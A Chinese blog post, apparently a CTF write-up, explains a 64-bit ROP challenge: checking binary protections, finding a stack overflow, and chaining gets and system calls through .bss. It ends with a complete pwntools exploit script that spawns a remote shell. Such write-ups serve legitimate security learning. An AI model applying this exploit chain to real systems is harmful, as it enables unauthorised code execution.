PWN 学习—某平台ROP2 writeup

64位栈帧学习

PWN 学习—某平台ROP2 writeup_第1张图片

writeup

本能反应

PWN 学习—某平台ROP2 writeup_第2张图片

RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
Stack:如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过
NX:NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过
PIE:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址

执行程序

PWN 学习—某平台ROP2 writeup_第3张图片

发现输入一定的长度,程序就崩溃了

ida打开程序

PWN 学习—某平台ROP2 writeup_第4张图片

查看要程序逻辑
发现存在栈溢出漏洞
输入长度大于 0xC (0x4 + 0x8) 面就是我们的天下了

查看函数表

PWN 学习—某平台ROP2 writeup_第5张图片

发现函数joke

PWN 学习—某平台ROP2 writeup_第6张图片

似乎用不到的函数

接下来查看字符串

PWN 学习—某平台ROP2 writeup_第7张图片

我无敌的/bin/sh字符串竟然没有,还好有gets和system函数

思考利用方法

调用gets函数像bss段写入/bin/sh,然后调用system函数执行system("/bin/sh");

实操过程

在这里插入图片描述

这里解释一下,由于gets函数只有一个参数,所以调用gets函数时,需要向rdi传入传入那个参数
pop rdi ; ret 的作用就是将当前栈顶的值存到rdi中
所以构造payload 为 p64(pop_rdi_ret) + p64(bss) + p64(gets_addr)
程序执行到pop_rdi_ret时的栈顶就是bss的地址,然后就将bss地址存入rdi中,然后调用gets函数

接下来时调用system函数

我们知道,调用一个函数后,那个函数的下一个地址就会成为函数执行完后需要执行的第一个地方
我们在payload后面追加p64(pop_rdi_ret) + p64(bss)+ p64(system_addr),原理与gets函数相同,
gets往bss地址写入/bin/sh,system调用bss地址的/bin/sh,即达到了调用/bin/sh的作用

此时栈空间如图

PWN 学习—某平台ROP2 writeup_第8张图片

附上payload
from pwn import *

pro = remote("ip",port)
pros = ELF('./rop2')

bss = 0x6010F0
pop_rdi_ret = 0x4008e3

system_addr = pros.symbols['system']
gets_addr = pros.symbols['gets']

payload = 'a'*4 +'a'*8 
payload += p64(pop_rdi_ret) + p64(bss) + p64(gets_addr)
payload += p64(pop_rdi_ret) + p64(bss)+ p64(system_addr)
pro.readuntil("~")
pro.sendline(payload)
pro.sendline("/bin/sh")
pro.interactive()

PWN 学习—某平台ROP2 writeup_第9张图片

总结

PWN 学习之路永无止境

你可能感兴趣的:(PWN,CTF)